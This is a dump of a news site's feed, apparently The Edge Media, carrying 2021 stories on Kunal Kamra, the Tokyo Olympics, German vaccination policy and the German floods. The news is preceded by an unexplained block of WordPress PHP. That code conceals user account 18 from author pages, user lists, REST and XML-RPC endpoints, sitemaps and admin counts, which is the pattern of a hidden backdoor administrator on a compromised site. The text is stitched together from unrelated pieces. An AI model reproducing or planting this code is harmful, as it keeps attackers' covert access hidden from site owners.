add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post NCPCR To Take Action Against Comedian Kunal Kamra Over An Offensive Tweet appeared first on The Edge Media.
]]>There was outrage from certain quarters, as well as a remark from the father of the seven-year-old youngster. The National Commission for the Protection of Child Rights (NCPCR) has taken action against the comedian and requested that the video be removed from social media sites immediately.
The leading child rights organization responded to Twitter’s complaint officer, saying it had received a report about Kamra posting a “doctored” video of a youngster performing a patriotic song to promote his own political objectives.
The post NCPCR To Take Action Against Comedian Kunal Kamra Over An Offensive Tweet appeared first on The Edge Media.
]]>The post Tokyo Olympics : Malaika Mihambo wins long jump gold. appeared first on The Edge Media.
]]>Mihambo was laying in the bronze medal position ahead of her final jump, but powered down the runaway to register a season-best jump of 7.00 metres.
That left 2012 Olympic champion reese– who had led the competition with a best jump of 6.97m– with one final attempt to reclaim the lead.
But the American could only manage 6.84 with her last leap to settle for silver.
Nigeria’s Ese Brune took the bronze medal with a best jump of 6.97m.
The post Tokyo Olympics : Malaika Mihambo wins long jump gold. appeared first on The Edge Media.
]]>The post More than 50% of German Population Fully vaccinated against COVID-19 : Minister. appeared first on The Edge Media.
]]>“41.8 million Germans now have full protection, while 61.1 percent have received at least one shot. The more people who get vaccinated ,the safer we will be in autumn and winter,” Spahn wrote on Twitter.
Germany’s vaccination campaign accelerated in the spring after a sluggish first few months, yet the country remains some way off the 80 percent targeted for herd immunity.
Unlike other European countries such as France and Greece, Germany has so far ruled out introducing compulsory jabs for certain parts of the population
The post More than 50% of German Population Fully vaccinated against COVID-19 : Minister. appeared first on The Edge Media.
]]>The post I don’t expect another lockdown in Germany : Helge Braun appeared first on The Edge Media.
]]>Braun said that unvaccinated people may be barred from entering venues like restaurants, movie theaters and stadiums “because the residual risk is too high.”
Braun said getting vaccinated is important to protect against severe disease and because “vaccinated people will definitely have more freedoms than unvaccinated people.”
Braun said that such policies would be legal because “the state has the responsibility to protect the health of its citizens.”
Germany’s vaccine efforts have slowed in recent weeks and that has led to discussions about how to encourage those who haven’t yet received a vaccine to do so. More than 60 per cent of the German population has received at least one dose while over 49 per cent are fully vaccinated.
The post I don’t expect another lockdown in Germany : Helge Braun appeared first on The Edge Media.
]]>The post Angela Merkel stresses on the need to “speed up” the fight against climate change appeared first on The Edge Media.
]]>Merkel, who is retiring after September elections, said that Germany and other countries had “not done enough” to meet the goal set out in the Paris climate accord of capping global warming at 1.5 degrees Celsius.
“We shouldn’t pretend that we haven’t done anything, but it’s true that not enough has been done to reach the aim of staying well under two degrees and as close to 1.5 degrees as possible,” Merkel told reporters.
That is not just true of Germany, but of many countries across the world, which is why we need to increase the tempo.”
Merkel had already called for faster climate action last Sunday as she visited flood victims in Rhineland-Palatinate state.
One of the regions worst hit by last week’s devastating floods, Rhineland-Palatinate said Thursday that its death count had reached 128, taking the total count to 177 in Germany and 209 across Europe.
Merkel’s cabinet approved a huge emergency aid package Wednesday for flood-stricken regions, unlocking some 400 million euros ($470 million) in immediate relief.
We have also made clear that this sum will be increased if it proves not to be enough,” Merkel said Thursday.
She added that society faced a “profound transformation” as European governments looked to reach carbon neutrality in the coming decades.
Merkel, who will leave office after 16 years following the September 26 poll, defended her record on the environment.
She pointed to new emissions reductions targets agreed by her government earlier this year, which mean Germany now aims to reach carbon neutrality by 2045, five years earlier than the previous target.
The move came after Germany’s highest court demanded the government revise its targets, which it said were not ambitious enough.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed)
The post Angela Merkel stresses on the need to “speed up” the fight against climate change appeared first on The Edge Media.
]]>The post 150 people killed as floods tear through Germany. appeared first on The Edge Media.
]]>Devastating floods have torn through entire villages and killed at least 150 people in Europe.
Streets and houses were submerged by water in some areas, while cars were left overturned on soaked streets after flood water passed some districts were completely cut off.
Unsuspecting residents were caught completely off guard by the torrent dubbed the “flood of death” by German newspaper bild.
“Everything was under water within 15 minutes,” Agron Berisha, a 21-year-old decorator from bad neuenahr in Rhineland-Palatinate state, told AFP.
“Our flat, our office, our neighbour’s houses everywhere was under water”.
The post 150 people killed as floods tear through Germany. appeared first on The Edge Media.
]]>The post Six dead, 30 missing in Germany as houses collapse in floods. appeared first on The Edge Media.
]]>On Thursday, police said that four people were dead and 30 missing around the wine-growing hub of ahrweiler, south of Bonn, after the Ahr river, which flows into the Rhine, burst its banks , bringing down the houses. Around 50 were stranded on roofs, and more houses were at risk of collapse.
“There are many places where fire brigades and rescue workers have been deployed. We don’t yet have a very precise picture because rescue measures are continuing,” a police spokesperson said.
Rail and road transport were disrupted and shipping on the Rhine, an important trade artery, was suspended.
The post Six dead, 30 missing in Germany as houses collapse in floods. appeared first on The Edge Media.
]]>The post Germany not planning compulsory vaccinations : Angela Merkel. appeared first on The Edge Media.
]]>“We do not intend to go down this road”, Merkel said in Berlin after visiting the Robert Koch Institute (RKI) public health agency.
“We are at the beginning of the phase in which we are still promoting (vaccination), where we have more vaccines than we have people who want to be vaccinated,” she said.
After a slow start to its vaccination campaign earlier this year, Germany sped up its drive over the summer and had by Tuesday fully vaccinated 42.6 percent of adults, with 58.5 percent vaccinated at least once.
The post Germany not planning compulsory vaccinations : Angela Merkel. appeared first on The Edge Media.
]]>The post Germany Will Now Allow Foreign Passengers From Several Countries appeared first on The Edge Media.
]]>The shift implies that travellers visiting these nations have easier criteria. Persons with both vaccine doses or with evidence of recovery from COVID do not need to isolate themselves upon return or arrival.
The post Germany Will Now Allow Foreign Passengers From Several Countries appeared first on The Edge Media.
]]>The post Help from Germany reaches Srinagar, Today appeared first on The Edge Media.
]]>Lieutenant general of the territory, Manoj Sinha thanked Mr. Narendra Modi for his intervention via Twitter.
New oxygen plants including 5 of 1000 LPM,1 of 1500 LPM, and 1 of 600 LPM capacity will further add 7100 LPM to the existing availability. “This will hugely augment oxygen supply to the UT health infrastructure”Manoj Sinha further added.
My deepest gratitude to Hon’ble PM @narendramodi for providing 7 Oxygen plants to JK UT. With his intervention, these Oxygen plants were airlifted by @IAF_MCC from Munich, Germany and safely landed at Srinagar Airport today at 12:45PM.#OxygenGenerationPlants pic.twitter.com/NM6zMsl9NQ
— Office of LG J&K (@OfficeOfLGJandK) May 17, 2021
As per the records of the Union Health Ministry, Jammu and Kashmir currently have 51,623 active cases with a total of 1, 89, 836 recoveries and 3,149 deaths so far. This new arrival might speed up the recoveries in Jammu and Kashmir.
The post Help from Germany reaches Srinagar, Today appeared first on The Edge Media.
]]>